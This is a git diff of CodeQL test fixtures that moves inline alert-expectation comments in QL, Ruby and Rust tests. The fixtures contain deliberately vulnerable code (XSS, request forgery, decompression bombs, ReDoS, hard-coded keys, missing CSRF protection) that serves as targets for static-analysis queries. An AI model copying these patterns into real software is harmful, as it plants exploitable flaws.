a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql index 1a33baf6c516..53e84fb8a196 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql @@ -8,7 +8,7 @@ * @tags quality * reliability * readability - */ // $ Alert + */ import ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref b/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref index bd4295a68621..c0931e0096a2 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref @@ -1,2 +1 @@ query: queries/style/MissingSecurityMetadata.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql index a403812021e5..d05628798311 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql @@ -7,7 +7,7 @@ * @precision very-high * @id ql/some-query * @tags quality - */ // $ Alert + */ import ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql index 47a12a1858a3..f04fe81599ab 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql @@ -7,7 +7,7 @@ * @id ql/some-query * @tags quality * security - */ // $ Alert + */ import ql diff --git a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref index ed9785fee3a7..65b82ba72551 100644 --- a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref +++ b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref @@ -1,2 +1 @@ query: queries/style/Misspelling.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/Misspelling/Test.qll b/ql/ql/test/queries/style/Misspelling/Test.qll index 1da75babe072..b6619145f8d5 100644 --- a/ql/ql/test/queries/style/Misspelling/Test.qll +++ b/ql/ql/test/queries/style/Misspelling/Test.qll @@ -1,13 +1,13 @@ /** * A string that's deliberately mispelled (and so is that last word). - */ // $ Alert -class PublicallyAccessible extends string { // $ Alert - int numOccurences; // $ Alert // should be 'occurrences' + */ +class PublicallyAccessible extends string { + int numOccurences; // should be 'occurrences' PublicallyAccessible() { this = "publically" and numOccurences = 123 } // should be argument - predicate hasAgrument() { none() } // $ Alert + predicate hasAgrument() { none() } int getNum() { result = numOccurences } } @@ -15,8 +15,8 @@ class PublicallyAccessible extends string { // $ Alert /** * A class whose name contains a British-English spelling. * And here's the word 'colour'. - */ // $ Alert -class AnalysedInt extends int { // $ Alert + */ +class AnalysedInt extends int { AnalysedInt() { this = 7 } // 'analyses' should not be flagged diff --git a/ql/ql/test/queries/style/NonDocBlock/Foo.qll b/ql/ql/test/queries/style/NonDocBlock/Foo.qll index 22fc0e3761a7..99f957fa7704 100644 --- a/ql/ql/test/queries/style/NonDocBlock/Foo.qll +++ b/ql/ql/test/queries/style/NonDocBlock/Foo.qll @@ -1,13 +1,13 @@ /* * This should be QLDoc. - */ // $ Alert + */ /** * this is fine */ predicate foo() { any() } -/* Note: this is bad. */ // $ Alert +/* Note: this is bad. */ class Foo extends string { Foo() { this = "FOo" } } diff --git a/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref b/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref index 57118bb0ff76..7f04b830ec55 100644 --- a/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref +++ b/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref @@ -1,2 +1 @@ query: queries/style/NonDocBlock.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/UseSetLiteral/test.qll b/ql/ql/test/queries/style/UseSetLiteral/test.qll index 0fd1dab6ddde..ca854d7d995e 100644 --- a/ql/ql/test/queries/style/UseSetLiteral/test.qll +++ b/ql/ql/test/queries/style/UseSetLiteral/test.qll @@ -1,10 +1,10 @@ import ql predicate test1(int a) { - a = 1 or // BAD + a = 1 or // $ Alert // BAD a = 2 or a = 3 or - a = 4 // $ Alert + a = 4 } predicate test2(int a) { @@ -27,10 +27,10 @@ predicate test4(int a) { } predicate test5() { - test1(1) or // BAD + test1(1) or // $ Alert // BAD test1(2) or test1(3) or - test1(4) // $ Alert + test1(4) } predicate test6() { @@ -41,10 +41,10 @@ predicate test6() { } int test7() { - 1 = result or // BAD + 1 = result or // $ Alert // BAD 2 = result or 3 = result or - 4 = result // $ Alert + 4 = result } predicate test8() { @@ -59,22 +59,22 @@ class MyTest8Class extends int { MyTest8Class() { ( - this = 1 or // BAD + this = 1 or // $ Alert // BAD this = 2 or this = 3 or - this = 4 // $ Alert + this = 4 ) and ( - s = "1" or // BAD + s = "1" or // $ Alert // BAD s = "2" or s = "3" or - s = "4" // $ Alert + s = "4" ) and exists(float f | - f = 1.0 or // BAD + f = 1.0 or // $ Alert // BAD f = 1.5 or f = 2.0 or - f = 2.5 // $ Alert + f = 2.5 ) } @@ -86,10 +86,10 @@ class MyTest8Class extends int { } predicate test9(MyTest8Class c) { - c.is(1) or // BAD + c.is(1) or // $ Alert // BAD c.is(2) or c.is(3) or - c.is(4) // $ Alert + c.is(4) } predicate test10(MyTest8Class c) { @@ -127,11 +127,11 @@ predicate test13(int a, int b) { } predicate test14(int a) { - a = 1 // BAD + a = 1 // $ Alert // BAD or ( (a = 2 or a = 3) or a = 4 - ) // $ Alert + ) } diff --git a/ruby/ql/test/library-tests/dataflow/api-graphs/callbacks.rb b/ruby/ql/test/library-tests/dataflow/api-graphs/callbacks.rb index e200d5686d93..bb077f81f496 100644 --- a/ruby/ql/test/library-tests/dataflow/api-graphs/callbacks.rb +++ b/ruby/ql/test/library-tests/dataflow/api-graphs/callbacks.rb @@ -1,30 +1,30 @@ -Something.foo.withCallback do |a, b| # $ source=Member[Something].Method[foo].ReturnValue +Something.foo.withCallback do |a, b| # $ source=Member[Something].Method[foo].ReturnValue source=Member[Something].Method[foo].ReturnValue.Method[withCallback].ReturnValue a.something # $ source=Member[Something].Method[foo].ReturnValue.Method[withCallback].Argument[block].Argument[0].Method[something].ReturnValue b.somethingElse # $ source=Member[Something].Method[foo].ReturnValue.Method[withCallback].Argument[block].Argument[1].Method[somethingElse].ReturnValue -end # $ source=Member[Something].Method[foo].ReturnValue.Method[withCallback].ReturnValue +end -Something.withNamedArg do |a:, b: nil| # $ source=Member[Something] +Something.withNamedArg do |a:, b: nil| # $ source=Member[Something] source=Member[Something].Method[withNamedArg].ReturnValue a.something # $ source=Member[Something].Method[withNamedArg].Argument[block].Parameter[a:].Method[something].ReturnValue b.somethingElse # $ source=Member[Something].Method[withNamedArg].Argument[block].Parameter[b:].Method[somethingElse].ReturnValue -end # $ source=Member[Something].Method[withNamedArg].ReturnValue +end -Something.withLambda ->(a, b) { # $ source=Member[Something] +Something.withLambda ->(a, b) { # $ source=Member[Something] source=Member[Something].Method[withLambda].ReturnValue a.something # $ source=Member[Something].Method[withLambda].Argument[0].Parameter[0].Method[something].ReturnValue b.something # $ source=Member[Something].Method[withLambda].Argument[0].Parameter[1].Method[something].ReturnValue -} # $ source=Member[Something].Method[withLambda].ReturnValue +} -Something.namedCallback( # $ source=Member[Something] +Something.namedCallback( # $ source=Member[Something] source=Member[Something].Method[namedCallback].ReturnValue onEvent: ->(a, b) { a.something # $ source=Member[Something].Method[namedCallback].Argument[onEvent:].Parameter[0].Method[something].ReturnValue b.something # $ source=Member[Something].Method[namedCallback].Argument[onEvent:].Parameter[1].Method[something].ReturnValue } -) # $ source=Member[Something].Method[namedCallback].ReturnValue +) -Something.nestedCall1 do |a| # $ source=Member[Something] - a.nestedCall2 do |b:| # $ reachableFromSource=Member[Something].Method[nestedCall1].Argument[block].Parameter[0] +Something.nestedCall1 do |a| # $ source=Member[Something] source=Member[Something].Method[nestedCall1].ReturnValue + a.nestedCall2 do |b:| # $ reachableFromSource=Member[Something].Method[nestedCall1].Argument[block].Parameter[0] source=Member[Something].Method[nestedCall1].Argument[block].Parameter[0].Method[nestedCall2].ReturnValue b.something # $ source=Member[Something].Method[nestedCall1].Argument[block].Parameter[0].Method[nestedCall2].Argument[block].Parameter[b:].Method[something].ReturnValue - end # $ source=Member[Something].Method[nestedCall1].Argument[block].Parameter[0].Method[nestedCall2].ReturnValue -end # $ source=Member[Something].Method[nestedCall1].ReturnValue + end +end def getCallback() ->(x) { @@ -32,8 +32,7 @@ def getCallback() } end Something.indirectCallback(getCallback()) # $ source=Member[Something].Method[indirectCallback].ReturnValue - -Something.withMixed do |a, *args, b| # $ source=Member[Something] +Something.withMixed do |a, *args, b| # $ source=Member[Something] source=Member[Something].Method[withMixed].ReturnValue a.something # $ source=Member[Something].Method[withMixed].Argument[block].Parameter[0].Method[something].ReturnValue # b.something # not currently handled correctly -end # $ source=Member[Something].Method[withMixed].ReturnValue +end diff --git a/ruby/ql/test/library-tests/dataflow/api-graphs/test1.rb b/ruby/ql/test/library-tests/dataflow/api-graphs/test1.rb index 3660d8241abb..4a020258ae2e 100644 --- a/ruby/ql/test/library-tests/dataflow/api-graphs/test1.rb +++ b/ruby/ql/test/library-tests/dataflow/api-graphs/test1.rb @@ -13,9 +13,9 @@ Foo::Bar::Baz # $ source=Member[Foo].Member[Bar].Member[Baz] Const = [1, 2, 3] # $ source=Member[Array].MethodBracket.ReturnValue -Const.each do |c| # $ source=Member[Const] +Const.each do |c| # $ source=Member[Const] source=Member[Const].Method[each].ReturnValue sink=Member[Const].Method[each].Argument[block] puts c # $ reachableFromSource=Member[Const].Method[each].Argument[block].Parameter[0] reachableFromSource=Member[Const].Element[any] -end # $ source=Member[Const].Method[each].ReturnValue sink=Member[Const].Method[each].Argument[block] +end foo = Foo # $ source=Member[Foo] foo::Bar::Baz # $ source=Member[Foo].Member[Bar].Member[Baz] diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb index 1a7636809b13..814c4d96cfc0 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb @@ -4,14 +4,14 @@ class TestController < ActionController::Base gzip_path = params[:path] # $ Source Zlib::GzipReader.open(gzip_path).read # $ Alert - Zlib::GzipReader.open(gzip_path) do |uncompressedfile| + Zlib::GzipReader.open(gzip_path) do |uncompressedfile| # $ Alert puts uncompressedfile.read - end # $ Alert - Zlib::GzipReader.open(gzip_path) do |uncompressedfile| + end + Zlib::GzipReader.open(gzip_path) do |uncompressedfile| # $ Alert uncompressedfile.each do |entry| puts entry end - end # $ Alert + end uncompressedfile = Zlib::GzipReader.open(gzip_path) # $ Alert uncompressedfile.each do |entry| puts entry diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb index 9d0d047b0358..8cee04b33425 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb @@ -3,15 +3,15 @@ class TestController < ActionController::Base zipfile_path = params[:path] # $ Source - Zip::InputStream.open(zipfile_path) do |input| + Zip::InputStream.open(zipfile_path) do |input| # $ Alert while (entry = input.get_next_entry) puts :file_name, entry.name input end - end # $ Alert - Zip::InputStream.open(zipfile_path) do |input| + end + Zip::InputStream.open(zipfile_path) do |input| # $ Alert input.read - end # $ Alert + end input = Zip::InputStream.open(zipfile_path) # $ Alert Zip::File.open(zipfile_path).read "10GB" # $ Alert diff --git a/ruby/ql/test/query-tests/experimental/improper-memoization/improper_memoization.rb b/ruby/ql/test/query-tests/experimental/improper-memoization/improper_memoization.rb index 41765021e646..3a6ea51f7568 100644 --- a/ruby/ql/test/query-tests/experimental/improper-memoization/improper_memoization.rb +++ b/ruby/ql/test/query-tests/experimental/improper-memoization/improper_memoization.rb @@ -47,58 +47,58 @@ def m6(arg1, arg2) end # Bad: method has parameter but only one result is memoized. -def m7(arg) +def m7(arg) # $ result=BAD @m7 ||= begin arg += 3 end @m7 -end # $ result=BAD +end # Bad: method has parameter but only one result is memoized. -def m8(arg) +def m8(arg) # $ result=BAD @m8 ||= begin long_running_method(arg) end @m8 -end # $ result=BAD +end # Bad: method has parameter but only one result is memoized. -def m9(arg) +def m9(arg) # $ result=BAD @m9 ||= long_running_method(arg) -end # $ result=BAD +end # Bad: method has parameter but only one result is memoized. -def m10(arg1, arg2) +def m10(arg1, arg2) # $ result=BAD @m10 ||= long_running_method(arg1, arg2) -end # $ result=BAD +end # Bad: `arg2` not used in key. -def m11(arg1, arg2) +def m11(arg1, arg2) # $ result=BAD @m11 ||= {} @m11[arg1] ||= long_running_method(arg1, arg2) -end # $ result=BAD +end # Bad: `arg2` not used in key. -def m12(arg1, arg2) +def m12(arg1, arg2) # $ result=BAD @m12 ||= Hash.new do |h1, arg1| h1[arg1] = result(arg1, arg2) end @m12[arg1] -end # $ result=BAD +end # Bad: arg not used in key. -def m13(id:) +def m13(id:) # $ result=BAD @m13 ||= Rails.cache.fetch("product_sku/#{id}", expires_in: 30.minutes) do ActiveRecord::Base.transaction do ProductSku.find_by(id: id) end end @m13 -end # $ result=BAD +end # Good (FP): arg is used in key via string interpolation. -def m14(arg) +def m14(arg) # $ SPURIOUS: result=BAD @m14 ||= {} key = "foo/#{arg}" @m14[key] ||= long_running_method(arg) -end # $ SPURIOUS: result=BAD +end diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteMultiCharacterSanitization/incomplete_multi_character_sanitization.rb b/ruby/ql/test/query-tests/security/cwe-116/IncompleteMultiCharacterSanitization/incomplete_multi_character_sanitization.rb index a9c61a29c213..d51102917668 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteMultiCharacterSanitization/incomplete_multi_character_sanitization.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteMultiCharacterSanitization/incomplete_multi_character_sanitization.rb @@ -80,9 +80,9 @@ def m9(x) x = x.gsub(/^(\.\.\/?)+/, "") # OK # NOT OK - x = x.gsub(/)<[^<]*)*<\/script>/) do |match| + x = x.gsub(/)<[^<]*)*<\/script>/) do |match| # $ hasResult=html if unknown then match else "" end - end # $ hasResult=html + end x = x.gsub(/<\/?([a-z][a-z0-9]*)\b[^>]*>/i, "") # NOT OK [INCONSISTENCY] $ hasResult=html @@ -113,10 +113,10 @@ def m9(x) x = x.gsub(//, "") # OK - x = x + x = x # $ hasResult=path .gsub(/^\.\//, "") .gsub(/\/\.\//, "/") - .gsub(/[^\/]*\/\.\.\//, "") # $ hasResult=path + .gsub(/[^\/]*\/\.\.\//, "") x end @@ -134,4 +134,4 @@ def m11(content) content = content.gsub(/<(script|iframe|video)[\s\S]*?<\/(script|iframe|video)>/, '') # $ hasResult=html content = content.gsub(/<(script|iframe|video)(.|\s)*?\/(script|iframe|video)>/, '') # $ hasResult=html content = content.gsub(/<[^<]*>/, "") # OK -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb index 249b686fd334..87e5fb84ccc8 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb @@ -39,15 +39,15 @@ def some_request_handler # GOOD - regex does not suffer from polynomial backtracking (regression test) params[:foo] =~ /\A[bc].*\Z/ - case name # $ Sink // NOT GOOD + case name # $ Sink Alert // NOT GOOD when regex puts "foo" - end # $ Alert + end - case name # $ Sink // NOT GOOD + case name # $ Sink Alert // NOT GOOD in /^\s+|\s+$/ then puts "foo" - end # $ Alert + end end def some_other_request_handle diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb index d6e9df8d22c3..7a0669ebb296 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb @@ -1,3 +1,3 @@ -class AlternativeRootController < ActionController::Base +class AlternativeRootController < ActionController::Base # $ Alert[rb/csrf-protection-not-enabled] # BAD: no protect_from_forgery call -end # $ Alert[rb/csrf-protection-not-enabled] +end diff --git a/rust/ql/test/library-tests/dataflow/sources/database/test.rs b/rust/ql/test/library-tests/dataflow/sources/database/test.rs index 158cc8188b88..61a3c24e0a36 100644 --- a/rust/ql/test/library-tests/dataflow/sources/database/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/database/test.rs @@ -47,27 +47,27 @@ mod test_mysql { let _ = conn.query_map( "SELECT id FROM person", - |values: i64| -> () { + |values: i64| -> () { // $ Alert[rust/summary/taint-sources] sink(values); // $ hasTaintFlow - } // $ Alert[rust/summary/taint-sources] + } )?; let _ = conn.query_map( "SELECT id, name, age FROM person", - |values: (i64, String, i32)| -> () { + |values: (i64, String, i32)| -> () { // $ Alert[rust/summary/taint-sources] sink(values.0); // $ hasTaintFlow sink(values.1); // $ hasTaintFlow sink(values.2); // $ hasTaintFlow - } // $ Alert[rust/summary/taint-sources] + } )?; - let total = conn.query_fold("SELECT id FROM person", 0, |acc: i64, row: i64| { + let total = conn.query_fold("SELECT id FROM person", 0, |acc: i64, row: i64| { // $ Alert[rust/summary/taint-sources] sink(row); // $ hasTaintFlow acc + row - })?; // $ Alert[rust/summary/taint-sources] + })?; sink(total); // $ hasTaintFlow - let _ = conn.query_fold("SELECT id, name, age FROM person", 0, |acc: i64, row: (i64, String, i32)| { + let _ = conn.query_fold("SELECT id, name, age FROM person", 0, |acc: i64, row: (i64, String, i32)| { // $ Alert[rust/summary/taint-sources] let id: i64 = row.0; let name: String = row.1; let age: i32 = row.2; @@ -75,7 +75,7 @@ mod test_mysql { sink(name); // $ hasTaintFlow sink(age); // $ hasTaintFlow acc + 1 - })?; // $ Alert[rust/summary/taint-sources] + })?; Ok(()) } @@ -134,27 +134,27 @@ mod test_mysql_async { let _ = conn.query_map( "SELECT id FROM person", - |values: i64| -> () { + |values: i64| -> () { // $ Alert[rust/summary/taint-sources] sink(values); // $ hasTaintFlow - } // $ Alert[rust/summary/taint-sources] + } ).await?; let _ = conn.query_map( "SELECT id, name, age FROM person", - |values: (i64, String, i32)| -> () { + |values: (i64, String, i32)| -> () { // $ Alert[rust/summary/taint-sources] sink(values.0); // $ hasTaintFlow sink(values.1); // $ hasTaintFlow sink(values.2); // $ hasTaintFlow - } // $ Alert[rust/summary/taint-sources] + } ).await?; - let total = conn.query_fold("SELECT id FROM person", 0, |acc: i64, row: i64| { + let total = conn.query_fold("SELECT id FROM person", 0, |acc: i64, row: i64| { // $ Alert[rust/summary/taint-sources] sink(row); // $ hasTaintFlow acc + row - }).await?; // $ Alert[rust/summary/taint-sources] + }).await?; sink(total); // $ hasTaintFlow - let _ = conn.query_fold("SELECT id, name, age FROM person", 0, |acc: i64, row: (i64, String, i32)| { + let _ = conn.query_fold("SELECT id, name, age FROM person", 0, |acc: i64, row: (i64, String, i32)| { // $ Alert[rust/summary/taint-sources] let id: i64 = row.0; let name: String = row.1; let age: i32 = row.2; @@ -162,7 +162,7 @@ mod test_mysql_async { sink(name); // $ hasTaintFlow sink(age); // $ hasTaintFlow acc + 1 - }).await?; // $ Alert[rust/summary/taint-sources] + }).await?; let ids = "SELECT id FROM person".with(()).map(&mut conn, |person: i64| -> i64 { diff --git a/rust/ql/test/library-tests/dataflow/sources/file/test.rs b/rust/ql/test/library-tests/dataflow/sources/file/test.rs index 5752c07f4d9b..d5898528888d 100644 --- a/rust/ql/test/library-tests/dataflow/sources/file/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/file/test.rs @@ -147,9 +147,9 @@ fn test_io_file() -> std::io::Result<()> { } { - let mut f2 = std::fs::OpenOptions::new() + let mut f2 = std::fs::OpenOptions::new() // $ Alert[rust/summary/taint-sources] .create_new(true) - .open("f2.txt") // $ Alert[rust/summary/taint-sources] + .open("f2.txt") .unwrap(); let mut buffer = [0u8; 1024]; let _bytes = f2.read(&mut buffer)?; @@ -157,12 +157,12 @@ fn test_io_file() -> std::io::Result<()> { } { - let mut f3 = std::fs::OpenOptions::new() + let mut f3 = std::fs::OpenOptions::new() // $ Alert[rust/summary/taint-sources] .read(true) .write(true) .truncate(true) .create(true) - .open("f3.txt") // $ Alert[rust/summary/taint-sources] + .open("f3.txt") .unwrap(); let mut buffer = [0u8; 1024]; let _bytes = f3.read(&mut buffer)?; diff --git a/rust/ql/test/library-tests/dataflow/sources/web_frameworks/test.rs b/rust/ql/test/library-tests/dataflow/sources/web_frameworks/test.rs index b9d05a5816aa..2fae67b54801 100644 --- a/rust/ql/test/library-tests/dataflow/sources/web_frameworks/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/web_frameworks/test.rs @@ -228,25 +228,25 @@ mod warp_test { async fn test_warp() { // A route with parameter and `map` let map_route = - warp::path::param().map(|a: String| + warp::path::param().map(|a: String| // $ Alert[rust/summary/taint-sources] { sink(a); // $ hasTaintFlow "".to_string() - }); // $ Alert[rust/summary/taint-sources] + }); // A route with parameter and `then` let then_route = warp::path::param().then( - async move |a: String| { + async move |a: String| { // $ Alert[rust/summary/taint-sources] sink(a); // $ hasTaintFlow "".to_string() - }, // $ Alert[rust/summary/taint-sources] + }, ); // A route with parameter and `and_then` let and_then_route = warp::path::param().and_then( - async move | id: u64 | + async move | id: u64 | // $ Alert[rust/summary/taint-sources] { if id != 0 { sink(id); // $ hasTaintFlow @@ -254,17 +254,17 @@ mod warp_test { } else { Err(warp::reject::not_found()) } - }, // $ Alert[rust/summary/taint-sources] + }, ); // A route with path, parameter, and `and_then` let path_and_map_route = warp::path("1").and(warp::path::param()).map( - | a: String | + | a: String | // $ Alert[rust/summary/taint-sources] { sink(a); // $ hasTaintFlow "".to_string() - }, // $ Alert[rust/summary/taint-sources] + }, ); let routes = warp::get().and( diff --git a/rust/ql/test/query-tests/security/CWE-079/warp/main.rs b/rust/ql/test/query-tests/security/CWE-079/warp/main.rs index c40e14f39a92..fb300f4cdd42 100644 --- a/rust/ql/test/query-tests/security/CWE-079/warp/main.rs +++ b/rust/ql/test/query-tests/security/CWE-079/warp/main.rs @@ -4,11 +4,11 @@ use warp::Filter; pub async fn main() { let hello = warp::path("greet") .and(warp::path::param()) - .map(|name: String| { + .map(|name: String| { // $ Source=name // Vulnerable to XSS because it directly includes user input in the response let body = format!("

Hello, {name}!

"); warp::reply::html(body) // $ Alert[rust/xss]=name - }); // $ Source=name + }); // Start the web server on port 3000 warp::serve(hello).run(([127, 0, 0, 1], 3000)).await; diff --git a/rust/ql/test/query-tests/security/CWE-798/test_cookie.rs b/rust/ql/test/query-tests/security/CWE-798/test_cookie.rs index f28491c713ee..ef179910f85f 100644 --- a/rust/ql/test/query-tests/security/CWE-798/test_cookie.rs +++ b/rust/ql/test/query-tests/security/CWE-798/test_cookie.rs @@ -22,19 +22,19 @@ fn test_cookie_jar(array_var: &[u8], val: u64) { let key2 = Key::from(&array2); // $ Sink _ = jar.private_mut(&key2); - let str3 = match(val) { + let str3 = match(val) { // $ Alert[rust/hard-coded-cryptographic-value] 0 => "one", 1 => "two", _ => "many" - }; // $ Alert[rust/hard-coded-cryptographic-value] + }; let key3 = Key::from(str3.as_bytes()); // $ Sink _ = jar.signed_mut(&key3); - let array4: [u8; 3] = [ + let array4: [u8; 3] = [ // $ Alert[rust/hard-coded-cryptographic-value] 1, 2, val as u8 - ]; // $ Alert[rust/hard-coded-cryptographic-value] + ]; let key4 = Key::from(&array4); // $ Sink _ = jar.signed_mut(&key4); } diff --git a/rust/ql/test/query-tests/security/CWE-798/test_heuristic.rs b/rust/ql/test/query-tests/security/CWE-798/test_heuristic.rs index dca4272a988c..4fcc5ecd5313 100644 --- a/rust/ql/test/query-tests/security/CWE-798/test_heuristic.rs +++ b/rust/ql/test/query-tests/security/CWE-798/test_heuristic.rs @@ -37,7 +37,7 @@ impl MyCryptor { const MY_CONST_1: u64 = 0xFFFF; // $ Alert[rust/hard-coded-cryptographic-value] const MY_CONST_2: u64 = std::env::consts::ARCH.len() as u64; // $ Alert[rust/hard-coded-cryptographic-value] -static MY_STATIC_3: u64 = 0xFFFF; // $ Alert[rust/hard-coded-cryptographic-value] +static MY_STATIC_3: u64 = 0xFFFF; static MY_STATIC_4: u64 = std::env::consts::ARCH.len() as u64; fn test(var_string: &str, var_data: &[u8;16], var_u64: u64) { diff --git a/rust/ql/test/query-tests/security/CWE-918/request_forgery_tests.rs b/rust/ql/test/query-tests/security/CWE-918/request_forgery_tests.rs index 2610d8d7a39d..f9abf14de4fc 100644 --- a/rust/ql/test/query-tests/security/CWE-918/request_forgery_tests.rs +++ b/rust/ql/test/query-tests/security/CWE-918/request_forgery_tests.rs @@ -62,7 +62,7 @@ mod warp_test { async fn test_warp() { // A route with parameter and `and_then` let map_route = - warp::path::param().and_then(async |a: String| + warp::path::param().and_then(async |a: String| // $ Source=a { let response = reqwest::get(&a).await; // $ Alert[rust/request-forgery]=a @@ -70,7 +70,7 @@ mod warp_test { Ok(resp) => Ok(resp.text().await.unwrap_or_default()), Err(_err) => Err(warp::reject::not_found()), } - }); // $ Source=a + }); } }